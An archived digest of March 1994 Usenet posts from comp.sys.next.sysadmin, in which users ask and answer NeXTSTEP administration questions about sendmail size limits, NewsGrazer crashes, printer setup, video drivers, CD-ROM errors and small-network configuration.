Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Biology, Indiana University - Bloomington
References: <1994Mar9.173302.604@dbulm1.uucp>
Date: Thu, 10 Mar 1994 18:30:09 GMT
I believe you want to use 'tr' (translate?) instead of sed.
Standard unix utility, reads only stdin, writes stdout.
yourPrompt% tr '\374' '\366' < _infile_ > _outfile_
quotes, backslashes, and <>s all significant
-- Will Fischer
wfischer@indiana.edu
Jochen Gloger (gloger@dbulm1.uucp) wrote:
: Hi,
: I have two problems concerning pure UNIX.
: 1. How can I force the substitute command in sed to look for an
: extended-ASCII-character described as a three digit octal number? For example,
: the German city name Luebeck (here written without the umlauts) is written in
: DEC-multinational character code as
: L\374beck (emacs writing style)
: I want to transform this word into NeXT-keymapping, namely
: L\366beck. (emacs writing style)
: Since I have to this with a lot of files, I can't use Edit or Emacs with the
: tr command, but I was not very successful to persuade sed to do this task. The
: following sed command did not work:
: s/\374/\366/
: So, what can I do?
[ other inquiry on 'find' deleted ]
: Thanks in advance for any help
: Kind regards
Mutual, I'm sure.
-- wf
: Jochen Gloger
From: Joe_Keenan@next.com
Newsgroups: comp.sys.next.sysadmin
Subject: Re: 100K limit on incoming mail on NeXTs?
Date: 10 Mar 1994 19:42:07 GMT
Organization: NeXT, Inc.
Message-ID: <2lnt6f$4j9@rosie.next.com>
References: <2lnqbq$oqp@hub.ucsb.edu>
In article <2lnqbq$oqp@hub.ucsb.edu> doug@foxtrot.ccmrc.ucsb.edu (Douglas
Scott) writes:
> I am surprised that I have never run up against this before now, but is there
> a size limit on incoming mail on the NeXT? We are on the Internet directly,
> and have no uucp connections between us and the site that tried to mail us,
> but they got the following error:
>
> ----- Transcript of session follows -----
> 554 doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott)... Message is too large;
> 100000 bytes max
> 554 doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott)... 554 Service unavailable
>
> ----- Return message suppressed -----
>
> Is there a way to expand or unset this? I still find it hard to believe that
> this limit has never before been hit, given all the NextMail I have received.
It's on their end (the sending side), not yours. The mailer definition that
sendmail is using has a max message size limit set (M=100000).
The sysadmin at the sending site will need to change that.
Joe Keenan
NeXT Technical Support
Newsgroups: comp.sys.next.sysadmin
From: eric_t@cs.uiuc.edu (Eric de_la_Tribouille)
Subject: Re: Newsgrazer spontaneously terminating
Message-ID: <CMGyJr.K4J@cs.uiuc.edu>
Sender: news@cs.uiuc.edu
Organization: University of Illinois, Dept. of Comp. Sci., Urbana, IL
References: <2ln9oo$9gp@news.duke.edu>
Date: Thu, 10 Mar 1994 22:02:13 GMT
In article <2ln9oo$9gp@news.duke.edu> bob@stirling.egr.duke.edu (Robert R
Reynolds) writes:
> I have been running Newsgrazer V72.3 for over a year and
> on NS 3.2 for a few months with almost no problems.
>
> Suddenly it simply terminates after 20-60 seconds every time
> it launches. Has anyone else experienced this problem?
>
> I'd appreciate suggestions.
>
> Thanks,
> Bob
> bob@stirling.egr.duke.edu
> (email preferred since it's hard to read news these days)
--
Well, the funny thing is that I've been using it for about what... 2 or 3 years
now, and it never terminated without a quit. And all started about one week
ago. It's randomly that NewsGraser terminated for no special reason. I click on
a message in a newsgroup and "pouf" ! And no messages in the console ???
I'm still under NS 3.0 !
What's happening ???
"The trouble with our times is
that the future is not what it
used to be." - Paul Valery
_____________________________________________________________________
From: mwa@ife.ee.ethz.ch (Marcel Waldvogel)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software,comp.sys.next.programmer,comp.sys.next.misc
Subject: Re: NS 3.2/I and putenv()
Date: 10 Mar 1994 22:44:02 GMT
Organization: Institut fuer Elektronik, ETH Zuerich, Switzerland
Message-ID: <2lo7ri$fup@elna.ethz.ch>
References: <2kvube$pgg@marble.Britain.EU.net> <S.A.MCINTYRE.94Mar2115138@shrug.dur.ac.uk>
In article <S.A.MCINTYRE.94Mar2115138@shrug.dur.ac.uk>,
Scott A. McIntyre <S.A.McIntyre@durham.ac.uk> wrote:
>strdup()
This one you can easily get around by adding
"-Dstrdup=NXCopyStringBuffer" to the CFLAGS definition in the Makefile.
-Marcel
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: A personal Sys Admin winge.
Date: 10 Mar 1994 20:18:05 -0000
Organization: me organised, that's a joke.
Message-ID: <2lnv9t$15q@steffi.demon.co.uk>
References: <2lndaa$6t6@cat.cis.Brown.EDU> <2lnpgm$qdr@times.stanford.edu>
hsr@cs.Stanford.EDU (Scott Roy) wrote in comp.sys.next.sysadmin
>Joshua's buildlinks idea is essentially the path I've followed. The main
>thing I always worry about, though, is the netinfo database. I'm fearful
>to just copy my old one for lack of a way to tell when NeXT has added new
>information to it.
I believe NeXT will always have to ensure backward compatibility with
Netinfo.
>
>Currently I do a bunch of manual nidumps before the upgrade and niloads
>after. Does anyone have a more elegant way?
Hmm, well a script could be written to replicate all directories and
property/ values.
>
>---
>Scott Roy
>Department of Computer Science
>Stanford University
--
"You know what's wrong with you?" (Audrey Hepburn, Cary Grant)
"No, what?"
"Nothing" (Charade, 1963)
(ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: 100K limit on incoming mail on NeXTs?
Date: 10 Mar 1994 20:21:13 -0000
Organization: me organised, that's a joke.
Message-ID: <2lnvfp$177@steffi.demon.co.uk>
References: <2lnqbq$oqp@hub.ucsb.edu>
doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott) wrote in comp.sys.next.sysadmin
>I am surprised that I have never run up against this before now, but is there
>a size limit on incoming mail on the NeXT? We are on the Internet directly,
>and have no uucp connections between us and the site that tried to mail us,
>but they got the following error:
>
> ----- Transcript of session follows -----
> 554 doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott)... Message is too large;
> 100000 bytes max
> 554 doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott)... 554 Service unavailable
>
> ----- Return message suppressed -----
>
>Is there a way to expand or unset this? I still find it hard to believe that
>this limit has never before been hit, given all the NextMail I have received.
Absolutely, what sendmail are you running?
You want to grep sendmail.cf for Maxsize (Maxsize is a flag on the
mailer)
Incidently, the message _must_ be physically sent to you before you
machine has size information to know wether to accept it or not.
Currently in order to support proper size rejection both you and your
host have to be ESMTP compliant. (sendmail 8... is ESMTP compliant)
It's a configurable option thru sendmail. I trust you aren't running
an ESMTP version of sendmail... other wise the information is stored
differently.
>
>Thanks for any tips.
>
>
>--
>Douglas Scott | Senior Development Engineer
>Tel: (805) 893-8352 | Center for Computer Music Research and Composition
>Internet (NeXTMail ok): | Music Department
><doug@ccmrc.ucsb.edu> | University of California, Santa Barbara
--
"You know what's wrong with you?" (Audrey Hepburn, Cary Grant)
"No, what?"
"Nothing" (Charade, 1963)
(ASCII for text only messages)
Newsgroups: comp.sys.next.sysadmin
From: morris@sushi.wais.com (Harry Morris)
Subject: X11 for 040 cube
Message-ID: <MORRIS.94Mar10154157@sushi.wais.com>
Sender: news@wais.com
Organization: WAIS Inc, Menlo Park CA, USA
Distribution: comp
Date: Thu, 10 Mar 1994 23:41:57 GMT
Hi, this must be a FAQ, but I couldn't find one.
I'd like to run X11 (pref R5, but R4 OK) on a 040 cube. Are there free
versions of that? Commercial versions? Any pointers appreciated. Also is
color X performance reasonable?
Thanks in advance, Harry
PS if possible please send email.
-------------------------------------------------------------------------------
Harry Morris WAIS Inc
morris@wais.com 1040 Noel Drive
Chief Engineer Menlo Park, CA. 94025
Wide Area Information Servers 415-617-0441 FAX 415-327-6513
Home office: 415-731-2864
From: slxn8@cc.usu.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Time/Date Dock Icon Blank
Message-ID: <1994Mar10.153020.13137@cc.usu.edu>
Date: 10 Mar 94 15:30:20 MDT
References: <9403101531.AA05778@guitar.ho.att.com>
Organization: Utah State University
In article <9403101531.AA05778@guitar.ho.att.com>, dfh@guitar.ho.att.com (Dan Hurley) writes:
> Hi.
>
> Anyone know why my Time/Date dock icon is blank - shows "PREF" in the time slot
> and nothing on the calendar. I used preferences to synchronize the clock with
> the network time daemon and the dock icon shows the correct time/date until I
> close the Preferences app.
Make sure you HIDE preferences after you fiddle with it. If you QUIT it, it
just shows an empty app icon with no time/date in it. ;-)
John
Newsgroups: comp.sys.next.sysadmin
From: eagle@catt.ncsu.edu (Daniel C. L'Hommedieu)
Subject: Re: Newsgrazer spontaneously terminating
Message-ID: <1994Mar10.153706.1680@ncsu.edu>
Sender: news@ncsu.edu (USENET News System)
Organization: NCSU
References: <2ln9oo$9gp@news.duke.edu>
Date: Thu, 10 Mar 1994 15:37:06 GMT
Robert R Reynolds writes
> I have been running Newsgrazer V72.3 for over a year and
> on NS 3.2 for a few months with almost no problems.
>
> Suddenly it simply terminates after 20-60 seconds every time
> it launches. Has anyone else experienced this problem?
I had a similar problem recently. When I selected a particular group,
NewsGrazer would die. Everything else worked, but that one newsgroup
didn't. I edited .newsrc so that the newsgroup line looked like this:
comp.whatever.whatever: 1-5326
instead of
comp.whatever.whatever: 1-5326,5340,5351,5369
and that fixed the problem.
Daniel
--
Daniel "eagle" L'Hommedieu
eagle@nest.catt.ncsu.edu (NeXT Mail preferred)
From: annard@theborg.stack.urc.tue.nl (Annard Brouwer)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: printing defaults
Date: 10 Mar 1994 22:56:54 GMT
Organization: the Borg
Distribution: world
Message-ID: <2lo8jn$11d@theborg.stack.urc.tue.nl>
References: <2ll7io$obc@news.iastate.edu>
In article <2ll7io$obc@news.iastate.edu> sela@iastate.edu writes:
>
> Every time I go to print something, the print panel is set to 400dpi.
> Most of the stuff I want to print, I'd rather do 300dpi. How can I set
> this so that every time I go to print I don't have to specify 300dpi?
> I'm running NS3.1 on black hardware with the NeXT laser printer.
>
I guess you'll need to do the following:
1) Copy /NextLibrary/PrinterTypes/English.lproj/<whatever the ppd files for
your printer is called> to /LocalLibrary/PrinterTypes/English.lproj/<whatever
the ppd files for your printer is called>
2) Edit the new copy to set the default resolution to 300dpi.
3) You should be set.
I haven't tried this, but it should work.
Annard
--
Give me enough bandwidth and I can transmit the earth.
- Annard Brouwer
annard@stack.urc.tue.nl (NeXTmail appreciated)
Newsgroups: comp.sys.next.sysadmin
From: Neil Greene <Neil@bMD.com>
Subject: Re: 100K limit on incoming mail on NeXTs?
Message-ID: <1994Mar11.041622.21317@bMD.com>
Sender: neil@bMD.com (Neil Greene)
Organization: benchMark Developments, Inc. (Lex., KY)
References: <2lnt6f$4j9@rosie.next.com>
Date: Fri, 11 Mar 1994 04:16:22 GMT
In article <2lnt6f$4j9@rosie.next.com> Joe_Keenan@next.com writes:
> In article <2lnqbq$oqp@hub.ucsb.edu> doug@foxtrot.ccmrc.ucsb.edu
(Douglas
> Scott) writes:
> > I am surprised that I have never run up against this before now, but
is there
> > a size limit on incoming mail on the NeXT? We are on the Internet
directly,
> > and have no uucp connections between us and the site that tried to
mail us,
> > but they got the following error:
> >
> > ----- Transcript of session follows -----
> > 554 doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott)... Message is too
large;
> > 100000 bytes max
> > 554 doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott)... 554 Service
unavailable
> >
> > ----- Return message suppressed -----
> >
> > Is there a way to expand or unset this? I still find it hard to
believe that
> > this limit has never before been hit, given all the NextMail I have
received.
>
> It's on their end (the sending side), not yours. The mailer definition
that
> sendmail is using has a max message size limit set (M=100000).
>
> The sysadmin at the sending site will need to change that.
>
> Joe Keenan
> NeXT Technical Support
Please note, this is _NOT_ a NeXT problem or error. This is simply a
default configuration for many uucp sites and/or mailers and is maintained
within sendmail, _NOT_ NEXTSTEP. Contact your mail administrator or edit
your local sendmail.cf files accordingly.
--
Sincerely,
Neil Greene
From: dtw07138@menudo.uh.edu (David Wang)
Newsgroups: comp.sys.next.sysadmin
Subject: How do I change video drivers w/o reinstalling NeXT ???
Date: 11 Mar 1994 01:27:56 -0600
Organization: University of Houston
Message-ID: <2lp6hs$f53@menudo.uh.edu>
I am installing NeXT step on a Intel 486 computer. I have an ET400W32i VLB video card.Someone on ther net sent me the driver for this card. However,once I installed the driver and installed NeXT the video mode gets all screwed up. How do I change back to the default 2 bit gray scale without reinstalling the whole operating system ?
Thanks. Any help will be greatly appreciated.
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: cmsg cancel <2lnvfp$177@steffi.demon.co.uk>
Control: cancel <2lnvfp$177@steffi.demon.co.uk>
Date: 10 Mar 1994 23:53:18 -0000
Organization: me organized? That's a joke!
Message-ID: <2lobte$2t6@steffi.demon.co.uk>
<2lnvfp$177@steffi.demon.co.uk> was cancelled from within trn.
--
"You know what's wrong with you?" (Audrey Hepburn, Cary Grant)
"No, what?"
"Nothing" (Charade, 1963)
(ASCII for text only messages)
Newsgroups: comp.sys.next.sysadmin
From: fms@chemelex .com (Fred Schenkelberg)
Subject: playing midi files with ND
Message-ID: <CMH18C.5nz@chemelex.com>
Sender: fms@chemelex.com (Fred Schenkelberg)
Organization: Research Group of Chemelex Division of Raychem Corporation
Distribution: ba,na,usa,world
Date: Thu, 10 Mar 1994 23:00:11 GMT
Say, I have a NextDimension and wonder how to play .midi files.
What equipment, software, etc do I need?
thanks, Fred
---
Fred Schenkelberg
fms@chemelex.com
--
Fred Schenkelberg
From: gallatin@serov.isds.duke.edu (Andrew Gallatin)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: [Help] 68040 NeXT to Apple LW Select 310 printer connection
Date: 11 Mar 1994 15:26:49 GMT
Organization: Institute of Statistics and Decision Sciences
Distribution: world
Message-ID: <2lq2jp$a14@news.duke.edu>
Originator: gallatin@serov.isds.duke.edu
[I want to preface this by saying I'm a DEC Ultrix/OSF/1 admin, and
know nothing about Nexts, this is the first one I've ever seen .. the
lack of normal printcap entries really confuses me..]
I need to connect an 68040 Next Cube to an Apple LaserWriter Select
310 printer.
The printer has an 8-pin LocalTalk (RS-422?) port, as well as a
parallel port, and I'm trying to connect it to serial port b on the
Next. I'm using what I think is a straight through serial cable.
The next is running NS 3.1
I have physically connected the printer, and used the gui based tool
to set up the printer (9600 baud, port b, tried both handshaking and
no handshaking). The correct PPD file has been installed.
Nothing at all has printed.. the light on the printer doesn't even
flash. The closest that I have been able to come is to make the
printer idle light go off by taking an item from the queue and
cat'ing directly into the /dev/ttyb port. Nothing printed, but the
light stayed off for a while..
Any suggestions would be welcome,
Thanks..
Drew
# Andrew Gallatin, System Administrator #
# Institute of Statistics and Decision Sciences #
# Box 90251, Duke University, Durham, NC 27708-0251 #
# email: gallatin@isds.duke.edu #
##############################################################################
From: ah@fml.tuwien.ac.at (Andreas Haleger)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Newsgrazer spontaneously terminating
Date: 11 Mar 1994 15:33:51 GMT
Organization: Technical University Vienna, Austria
Distribution: world
Message-ID: <2lq30v$oi@email.tuwien.ac.at>
References: <1994Mar10.153706.1680@ncsu.edu>
In article <1994Mar10.153706.1680@ncsu.edu> eagle@catt.ncsu.edu (Daniel C.
L'Hommedieu) writes:
> Robert R Reynolds writes
> > I have been running Newsgrazer V72.3 for over a year and
> > on NS 3.2 for a few months with almost no problems.
> >
> > Suddenly it simply terminates after 20-60 seconds every time
> > it launches. Has anyone else experienced this problem?
>
> I had a similar problem recently. When I selected a particular group,
> NewsGrazer would die. Everything else worked, but that one newsgroup
> didn't. I edited .newsrc so that the newsgroup line looked like this:
> comp.whatever.whatever: 1-5326
> instead of
> comp.whatever.whatever: 1-5326,5340,5351,5369
> and that fixed the problem.
>
An article in comp.sys.ibm.pc.games.misc of last week caused death of
NewsGrazer. This problem seems to occur regularly. If I knew an easy way
of tracking down the assaulting posting, I would report to NeXT. Maybe
they release then a version 3.80?
But the only way I can think of is to "outcomment" each article and look,
if NewsGrazer still dies. For 200 unread articles this is a bid boring.
So if anybody knows a working method?
--
== Andreas ==
Wir entschuldigen uns fuer die Strapazen (Douglas Adams). NeXTmail
accepted.
From: denis@quartz.tucson.az.us (denis norton)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Newsgrazer spontaneously terminating
Date: 11 Mar 1994 16:26:59 GMT
Organization: University of Arizona, CCIT
Message-ID: <2lq64j$hg2@auggie.CCIT.Arizona.EDU>
References: <1994Mar10.153706.1680@ncsu.edu>
> > Suddenly it simply terminates after 20-60 seconds every time
> > it launches. Has anyone else experienced this problem?
>
> I had a similar problem recently. When I selected a particular group,
> NewsGrazer would die. Everything else worked, but that one newsgroup
> didn't. I edited .newsrc so that the newsgroup line looked like this:
Same here, but I forced it to regenerate .newsrc and eliminated that problem
but it still blows away if i do a catch up on a news group before
all of the articles are loaded(listed by title) in that particular group.
this is annoying when you are gone for a while and really want to
quickly and literally catch up by deletion!
--
denis norton denis@quartz.tucson.az.us
Newsgroups: comp.sys.next.sysadmin
From: Neil Greene <neil@kynug.org>
Subject: Re: How do I change video drivers w/o reinstalling NeXT ???
Message-ID: <1994Mar11.160721.2977@KYnug.org>
Sender: neil@KYnug.org (Neil Greene)
Organization: Kentucky NEXTSTEP User Group, Inc.
References: <2lp6hs$f53@menudo.uh.edu>
Date: Fri, 11 Mar 1994 16:07:21 GMT
In article <2lp6hs$f53@menudo.uh.edu> dtw07138@menudo.uh.edu (David Wang)
writes:
> I am installing NeXT step on a Intel 486 computer. I have an ET400W32i
VLB video card.Someone on ther net sent me the driver for this card.
However,once I installed the driver and installed NeXT the video mode gets
all screwed up. How do I change back to the default 2 bit gray scale
without reinstalling the whole operating system ?
>
> Thanks. Any help will be greatly appreciated.
Check out Configure.app in /NextAdmin. Add new drivers as needed from
disk or hard drive.
--
Neil Greene
benchMark Developments, Inc. [NeXT VAR]
2040 Regency Road, Suite C Lexington, KY 40503
Phone: 606-231-6599 / Fax: 606-254-4864
Newsgroups: comp.sys.next.sysadmin
From: heberlei@cs.ucdavis.edu (Louis Todd Heberlein)
Subject: Re: Newsgrazer spontaneously terminating
Message-ID: <CMIEuy.97I@ucdavis.edu>
Sender: usenet@ucdavis.edu (News Guru)
Organization: University of California, Davis
References: <2lq64j$hg2@auggie.CCIT.Arizona.EDU>
Date: Fri, 11 Mar 1994 16:52:09 GMT
I posted the following to the csn.software and csn.misc newsgroups,
but since I see this thread here, I thought I forward the posting
to this thread. (note: I originally assumed it was a problem associated
with an article sitting in the server, now I think it may also be
related to the format of the .newsrc file)
Todd
------------------------- REPOST ----------------------------
Summary: NewsGrazer versions 75 and 72.3 running on NEXTSTEP 3.0 on
a NeXTstation TurboColor is crashing when certain newsgroups
are read. (currently comp.sys.next.misc) It appears to be
associated with the sort articles and prefetch title options.
Details: To get my NewsGrazer to crash, the following conditions need to
exist:
1) the Preferences/Article Summary/Prefetch article title
is checked
2) the Preferences/Article Summary/Sort articles box is checked
3) All the articles is comp.sys.next.misc have all been
prefetched before I look at the news group
Obviously there is some article or situation currently with
comp.sys.next.misc on my local usenet server which is causing my
NewsGrazer to crash.
If I am in the newsgroup when the articles are not already prefetched
and sorted (e.g., if I go to that newsgroup first before the article
title are found, or if I go to csnm with one of the above preferences
turned off and then turn it on once I am in there), then it works
fine. However, once the group's titles are fetched and sorted, if
I leave the group and return, NewsGrazer will once again crash.
I am currently trying to find if one particular article is causing
the problem. I will keep you posted.
Todd Heberlein heberlei@cs.ucdavis.edu
From: dtw07138@menudo.uh.edu (David Wang)
Newsgroups: comp.sys.next.sysadmin
Subject: CD-ROM read error?
Date: 11 Mar 1994 12:19:27 -0600
Organization: University of Houston
Distribution: usa
Message-ID: <2lqcnf$2pt@menudo.uh.edu>
Hi, I am having a lot of problems installing my NeXT step OS, I finally
was able to install the base 100 megs or so without installing the extra
dictionary, etc. well, I went back later and installed everything, but I was
only able to install softpc, and a couple other apps, but then I tried to
install the digital webster, and the system returned the messgae saying that it
was unable to read it , some error had occured in reading those files off of
the CD-ROm, well, I closed the window, and tried it again later, same thing.
I rebooted the machine and same thing. The same message occured when I tried
to install the developer's package, could these be bad cd-ROM's? I did have
a lot of problems initially installing the NS with the CD-ROM's getting timouts
but I seem to have fixed that problem now, and I was able to install some of
the apps that I did not install earlier, so why the errors with the wester and the developer packages? any idea? Thanks for your help!!
David Wang
From: jhalchin@alleg.edu (Judy Halchin)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Newsgrazer spontaneously terminating
Date: 10 Mar 1994 17:59:58 GMT
Organization: Allegheny College
Message-ID: <2lnn6u$9qg@mustang.alleg.edu>
References: <2lnj1s$3fa@nz12.rz.uni-karlsruhe.de>
In article <2lnj1s$3fa@nz12.rz.uni-karlsruhe.de>
rpopp@ebigek01.ciw.uni-karlsruhe.de (Ruediger Popp) writes:
> In article <2lne2k$c0u@netnews.upenn.edu> anstine@uniblab.sas.upenn.edu
writes:
> > In article <2ln9oo$9gp@news.duke.edu> bob@stirling.egr.duke.edu
(Robert R
> > Reynolds) writes:
> > >I have been running Newsgrazer V72.3 for over a year and
> > >on NS 3.2 for a few months with almost no problems.
> > >
> > >Suddenly it simply terminates after 20-60 seconds every time
> > >it launches. Has anyone else experienced this problem?
> > >
> > >I'd appreciate suggestions.
> >
> > I'm experiencing the same. No solution yet.
> >
> > -dave
>
> I had the same Problem.
> When I deleted my .newsrc the problem was solved.
This sounds like the problem we see here when an article comes in
containing control characters. If you have your NewsGrazer preferences
set to prefetch article titles, it will run for 20 or 30 seconds until
it reaches the bad article, then it will crash. Deleting your .newsrc
stops the crashing because it leaves you subscribed to no groups, so
nothing is prefetched. That's an awfully drastic solution, though.
You might want to temporarily rename your .newsrc so that NewsGrazer will
run long enough for you to change your preferences to NOT prefetch
titles. You can then change the name of .newsrc back and read your
news. When you get to the bad article, it will crash. If you've noted
the group and article number, you can then request that your local news
administrator cancel that article.
Judy Halchin
jhalchin@alleg.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Printer PPD files on NS/
From: tim.romano@satalink.com (Tim Romano)
Distribution: world
Message-ID: <1.4280.2593.0N27BFAD@satalink.com>
Date: Sun, 6 Mar 94 15:53:00 -0640
Organization: DSC/Voicenet * Ivyland, PA * (215) 443-9434
I've been using the Apple Laserwriter II .ppd file with my Kyocera
Ecosys printer, and everything works fine. But Kyocera just sent me a
.ppd file for their printer, so I though I'd try to redefine the printer
using this new .ppd file.
But I guess there is more to doing this than simply copying the
Kyocera.ppd file to /NextLibrary/PrinterTypes/English.lproj -- the
PrintManager application does not show the Kyocera.ppd file as an
option, even after I reboot.
Does something behind-the-scense happen when the printer types .pkg
installs? If so, is there any way of recreating this effect manually?
Help, as always, is much appreciated.
Tim Romano TEL: (610) 543-2222
Swarthmore Pennsylvania EMAIL: tim.romano@satalink.com
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From: premise@pindar.ccs.itd.umich.edu (Sean Michael Willson)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXT Workspace Crash
Date: 11 Mar 1994 23:20:08 GMT
Organization: University of Michigan
Message-ID: <2lqub8$b36@lastactionhero.rs.itd.umich.edu>
Hello,
I am a student at the University of Michigan Ann Arbor. We have a
small NeXT lab on central campus that has 19 next motorollas, running
NeXTSTEP version 3.0. Whenever I log on to one of these machines (It
happens on all of them) I can do work for a while but then the workspace
manager crashes. I cannot figure out why. I have tried replacing my
NeXT file (My sys admin told me to) but that did nothing but lose
everything I did in customization. I sometimes can work for a few hours
switching between apps and then it will crash. Other times I will log in,
open mail, then when I click on the wrokspace manager CRASH. It becomming
more and more frequent and effecting my work. When it crashes it gives a
message the the "Workspace manager has crashed. PLease exit and save
changes if possible" or something like that. Is anyone can help at All I
would owe them forever. Please I love NeXT's and I have work to do.
Please help ASAP.
Sean Willson
premise@churchst.ccs.itd.umich.edu
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From: richard%runner.uucp@usc.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NG problem
Date: 11 Mar 1994 07:05:19 -0800
Organization: runner
Sender: richard@runner.uucp@usc.edu
Distribution: world
Message-ID: <2lq1bf$mte@runner.uucp>
References: <1994Mar10.083352.541@rna.indiv.nluug.nl>
In article <1994Mar10.083352.541@rna.indiv.nluug.nl>
gerben@rna.indiv.nluug.nl writes:
> I upgraded to NG 3.75 and since then it starts hanging (spinning disk)
after a
> couple of minutes. What is going on?
I have the same problem and reverted back to using NG 72.3. (I wish 75 would
work.)
--
Richard
richard%runner.uucp@usc.edu
(ok to send NeXT Mail)
From: rbates@ISI.EDU (Raymond Bates)
Newsgroups: comp.sys.next.sysadmin
Subject: pcbsetaddr failed
Date: 11 Mar 94 12:51:37
Organization: USC-ISI
Distribution: comp
Message-ID: <RBATES.94Mar11125137@darkstar.ISI.EDU>
Our site has about 30 or so Motorola NeXT computers mostly running
NeXTSTEP 3.2. A few of these computers crash rather hard about 2-3
times a week. We see many pcbsetaddr failed messages in the console
window and then finally the mini monitor window pops up with a system
panic. The only thing we can do is go to full monitor window and
reboot. Halting the computer at this point doesn't seem to be a
option.
I am sort at lost what to do. I expect that the users of these
machines are running certain programs that no one else at are site are
running which is causing the problem.
Got any ideas on what causes this error?
/Ray
Raymond L. Bates INTERNET: rbates@isi.edu
Information Processing Center
USC/Information Sciences Institute PHONE: 310-822-1511
Mar 9 11:45:05 bambi mach: pcbsetaddr failed 47
Mar 9 11:47:09 bambi last message repeated 140 times
Mar 9 11:47:10 bambi mach: pcbsetaddr failed 47
Mar 9 11:49:14 bambi last message repeated 140 times
Mar 9 11:49:15 bambi mach: pcbsetaddr failed 47
Mar 9 11:51:20 bambi last message repeated 139 times
Mar 9 11:51:21 bambi mach: pcbsetaddr failed 47
Mar 9 11:56:59 bambi mach: unexpected kernel page fault failure
Mar 9 11:56:59 bambi mach: trap: type 0x410 fcode 5 rw 1 faultaddr 0x9002a
Mar 9 11:56:59 bambi mach: trap: pc 0x4041a48 sp 0x3fff168 sr 0x2004
Mar 9 11:56:59 bambi mach: trap: cpu 0 th 0x1015984c proc 0x10158d5c pid 5634 pcb 0x11162010
Mar 9 11:56:59 bambi mach: traceback: fp 0x11162e5c
Mar 9 11:56:59 bambi mach: cale
Mar 9 12:08:29 bambi Workspace[189]: logged in
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Newsgroups: comp.sys.next.sysadmin
From: esprit@netcom.com (Alan F. Perry)
Subject: Networking two NeXTs together
Message-ID: <espritCMKK2t.MBD@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Sat, 12 Mar 1994 20:40:04 GMT
I have a Cube and a Slab that I want to network together, but after
hooking them together, both machines think the network is down.
I do not have a lot of experience networking machines together and am
looking for advice from folks that know better.
Here is what I have done:
On the physical connection end - Obviously I am using Thin Ethernet, BNC,
TenBase2, etc. I have a 6-foot length of cable with solid attachment to
the connectors, connected to "T"s at both ends that connect to the machines
and terminators on the other "straight-through" on each "T". One question
that I have is what are the specifications of the "T"s since I saw a
number of different ones at the store.
On the software end - First, I used SNS to set-up the machines (but am not
using NetInfo). I gave the machines different names and addresses. I also
munched the /etc/hosts so that it only contained the two machines and
localhost. When I do "ifconfig en0", it looks like both machines are
set-up correctly, except that the network is down.
Any ideas?
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esprit@netcom.com (home) | more affluent - Soichiro Honda
From: dekorte@next1.scri.fsu.edu (Stephen Lee Dekorte)
Newsgroups: comp.sys.next.sysadmin
Subject: Next Printer problem
Date: 12 Mar 1994 12:08:43 GMT
Organization: Florida State University
Distribution: world
Message-ID: <2lsbcb$ods@mailer.fsu.edu>
My Next printer is leaving black streaks on it's output paper.
I've tried cleaning it, but it appears that the green cylinder
on the toner cartrige keeps getting these streaks on it which
is what shows up on the pages.
Does anyone know how to fix this?
Where can I order a new cartidge from?
Please respond by email.
Thanks for any help,
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Steve Dekorte (NeXTmail welcome)
From: gaia@wam.umd.edu (L. Anathea Brooks)
Newsgroups: comp.sys.next.sysadmin
Subject: DPT controller and CD-ROM problems
Date: 12 Mar 1994 21:39:08 GMT
Organization: University of Maryland, College Park
Message-ID: <2ltcps$79s@cville-srv.wam.umd.edu>
Hi all,
I have an Apple CD150 CDROM drive and a machine
with a DPT 2021 ISA board. I used the CD150 on my
old Nextstation without problems, same cable, same
termination.
Now with the PC I have hw problems. When the CDROM
is connected, it hangs on bootup just as NS
reads the mach kernel. This happens ONLY about
1/2 the time, sometimes it boots and I can access
data on the cd-rom. I installed the Dev tools this way.
I thought "termination problems"! and saw that on
the DPT card I should remove the jumper that terminates
the DPT card itself if I have an external SCSI device.
I did this but have the same result - failed boot. Goes
into an endless loop trying to boot. I don't wan tto
try that many times as I don't want to corrupt the
software. Without the cd-rom hooked up, the machine
always boots fine. BTW the jumper that I remove is
Y16, that terminates the card.
Any suggestions?
Thanks
Robert de Lucca
Newsgroups: comp.sys.next.sysadmin
From: esprit@netcom.com (Alan F. Perry)
Subject: Re: Networking two NeXTs together
Message-ID: <espritCMKMvz.MCn@netcom.com>
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <espritCMKK2t.MBD@netcom.com>
Date: Sat, 12 Mar 1994 21:40:47 GMT
In article <espritCMKK2t.MBD@netcom.com> esprit@netcom.com (Alan F. Perry) writes:
>
>I have a Cube and a Slab that I want to network together, but after
>hooking them together, both machines think the network is down.
>
>I do not have a lot of experience networking machines together and am
>looking for advice from folks that know better.
>
>Here is what I have done:
>
>On the physical connection end - Obviously I am using Thin Ethernet, BNC,
>TenBase2, etc. I have a 6-foot length of cable with solid attachment to
>the connectors, connected to "T"s at both ends that connect to the machines
>and terminators on the other "straight-through" on each "T". One question
>that I have is what are the specifications of the "T"s since I saw a
>number of different ones at the store.
>
>On the software end - First, I used SNS to set-up the machines (but am not
>using NetInfo). I gave the machines different names and addresses. I also
>munched the /etc/hosts so that it only contained the two machines and
>localhost. When I do "ifconfig en0", it looks like both machines are
>set-up correctly, except that the network is down.
Oops! I left out some stuff.
